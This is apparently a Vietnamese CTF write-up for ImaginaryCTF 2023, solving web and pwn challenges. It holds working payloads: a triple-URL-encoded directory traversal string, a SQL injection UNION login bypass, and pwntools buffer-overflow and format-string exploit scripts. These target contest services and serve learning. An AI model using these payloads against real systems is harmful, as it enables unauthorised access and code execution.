---
# System prepended metadata

title: ImaginaryCTF 2023 WriteUp
tags: [writeup]

---

> **Rank : 94/880**
> ![](https://hackmd.io/_uploads/r1iW-h2cn.png)
> Try harder next time.......

## WEB
### Inspection
Bài này ta thấy trống rỗng không có đường link nào cả nên suy ra giấu trong source gì đó nên chúng ta mở inspect lên coi sao:
![](https://hackmd.io/_uploads/H1zdds253.png)

Ta có thể thấy nội dung của flag nằm trong attribute của thẻ p
#### `flag:ictf{m4rkdown_parser_fail_1a211b44}`
### Idoriot
Bài này cho ta 1 form đăng nhập và 1 form đăng kí khi đăng nhập vào thì nó sẽ hiện source như sau:
![](https://hackmd.io/_uploads/ryGBKo3c2.png)

Có vẻ nếu chúng ta có user_id = 0 thì chúng ta sẽ lấy được flag nhưng file flag.txt truy cập thử xem sao:
![](https://hackmd.io/_uploads/rk3Wsjh92.png)

Còn 1 cách nữa trong form đăng kí chúng ta có thể set user_id thành 0 đăng kí và lấy flag thôi:
![](https://hackmd.io/_uploads/B1Lhio3cn.png)


#### `flag:ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}`
### Perfect Picture
Bài này không biết nói sao Chỉ cần đọc code và upload 1 file image theo đúng đề là được :
Ta có câu lệnh python sau:
```python=
from PIL import Image
from PIL.PngImagePlugin import PngInfo

image = Image.new("RGBA", (690, 420), "white")
image.putpixel((412, 309), (52, 146, 235, 123))
image.putpixel((12, 209), (42, 16, 125, 231))
image.putpixel((264, 143), (122, 136, 25, 213))

metadata = PngInfo()
metadata.add_text("Description", "jctf{not_the_flag}")
metadata.add_text("Title", "kool_pic")
metadata.add_text("Author", "anon")

image.save('_image.png', pnginfo=metadata)
image.close()
```

#### `flag:ictf{7ruly_th3_n3x7_p1c4ss0_753433}`
### Roks
Bài này cho ta 1 trang web random các hình ảnh về cục đá và source code ta có thể truy cập từng bức ảnh bằng cách sau:
![](https://hackmd.io/_uploads/HyHapih92.png)

Nhìn là ta có thể đoán được ngay nó sẽ dính directory travesal đọc file docker ta sẽ biết file flag.png nằm trong thư mục /:
![](https://hackmd.io/_uploads/rJKmAjn5n.png)
Vì thế payload của ta sẽ kiểu dạng `/?file=../../../../flag.png`
Nhưng đoạn code trên đã filter nên chúng ta chỉ còn cách bypass ở đây chúng ta sẽ dùng triple urlencode vì nó đã decode 1 lần trong source và 1 lần ở pt GET rồi:
`payload:%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252fflag%25252epng`
Nhập vào rổi lấy flag thôi:
![](https://hackmd.io/_uploads/rk4bl2n92.png)
#### `flag:ictf{tr4nsv3rs1ing_0v3r_r0k5_6a3367}`
### Blank
Bài này cho ta 1 source code và 1 trang web yêu cầu login:
![](https://hackmd.io/_uploads/ryLjlh2q2.png)
Đọc source ta sẽ thấy nó tạo ra 1 database với bảng user trống rỗng :
![](https://hackmd.io/_uploads/Hy_g-2nq2.png)
Nhưng nếu có row nào trả về được thì ta sẽ lấy được flag:
![](https://hackmd.io/_uploads/ByREZ32q2.png)
Vì thế ở đây ta sẽ dùng union để có row trả về:
`payload:
user = admin ,
pass = 1" UNION ALL SELECT NULL, NULL,"a
`
Sau khi nhập vào sẽ có:
![](https://hackmd.io/_uploads/B1oQ73nc2.png)
Ta chỉ cần đến /flag và lấy cờ thôi:
![](https://hackmd.io/_uploads/Sk-OXhhc2.png)
#### `flag:ictf{sqli_too_powerful_9b36140a}`
### Idoriot-revenge
Bài này cho ta 1 form đăng nhập và đăng kí giống bài trên khi ta login vào sẽ có source code:
![](https://hackmd.io/_uploads/ryxZV229h.png)
Ta thấy điều kiện để lấy flag là user_id là "php" và kiểm tra username của ta có chữ admin ko vì thế khi tạo tài khoản ta tạo là admin1234 gì đó là được.
Còn user_id ta thấy nó được so sánh == nên ta cho nó thành 0 là được bạn nào muốn hiểu thêm thì tìm `php type juggling` nhé:
![](https://hackmd.io/_uploads/SJrpE2nqh.png)
#### `flag:ictf{this_ch4lleng3_creator_1s_really_an_idoriot}`
## PWN
### Ret2win
Bài này đề cho ta file binary và file source
```clike=
#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[64];
  gets(buf);
}

int win() {
  system("cat flag.txt");
}
```
Vậy bài này bof cơ bản.
```python=
from pwn import *
exe = ELF("chal")
#p = process(exe.path)
p = remote("ret2win.chal.imaginaryctf.org",1337)
p.sendline(b'a'*72+p64(0x000000000040101a)+p64(exe.sym['win']))
p.interactive()
```
#### `flag:ictf{r3turn_0f_th3_k1ng?}`
### Ret2lose
Bài này cũng cho file binary và file source y chang bài trước.
Lần này đề nói thêm là phải lấy shell. Ở đây khi debug ta nhận thấy rdi tức arguments 1 trỏ vào địa chỉ có thể read-write trước khi `ret` -> gọi PTL `gets` -> nhập `/bin/sh` -> gọi PLT `system`
Khi chạy code thì ta thấy rằng thay vì thực hiện `/bin/sh` mà thực hiện `/bin.sh`
![](https://hackmd.io/_uploads/HJMa3i353.png)
Ta để ý rằng `ord(.) < ord (/)` 1 đơn vị. Vậy thì ta thử gửi `ord(0)` vì `ord(0)-1 = ord(/)`
Đổi lại thì ta có được flag.
```python=
from pwn import *
exe = ELF("chal")
p = process(exe.path)
#p = remote("ret2win.chal.imaginaryctf.org",1337)

'''
gdb.attach(p,
"""
b*main + 34
""")
input()
'''
gets = 0x401060
ret = 0x000000000040101a
p.sendline(b'a'*64+p64(exe.bss()+0x20)+p64(ret)+p64(gets)+p64(ret)+p64(0x401050))
p.sendline(b'/bin0sh\x00')
p.interactive()

```
#### `flag:ictf{ret2libc?_what_libc?}`
### Form
Bài này cho ta 1 file binary

![](https://hackmd.io/_uploads/ByUN0in9h.png)

Dễ dàng nhận thấy có lỗi format string ở hàm `printf(format)`

![](https://hackmd.io/_uploads/SklaAj3q3.png)

Ta thấy rằng trước khi gọi `printf` thì trên stack có địa chỉ heap lưu `format` chỉ khác địa chỉ lưu flag 1 byte cuối.

![](https://hackmd.io/_uploads/r1qCRin52.png)

Do đó ta overwrite bằng `%n`. Nhưng ở đây có lưu ý là gọi từng %c thay vì gọi `%6$c` vì nó sẽ update stack trong từng lần gọi `%c` thay vì gọi giá trị cũ như `%6$c`

```python=
from pwn import *
exe = ELF("chal")
p = process(exe.path)
#p = remote("form.chal.imaginaryctf.org",1337)
gdb.attach(p,
"""
b*main+207
c
""")
input()
payload = b"%155c" +b"%c"*5+ b"%hhn" +b'%6$s' #+ b'%p'*6 + b'%6$p'
p.sendline(payload)

p.interactive()
```
#### `flag:ictf{ngl_kinda_bored_of_these}`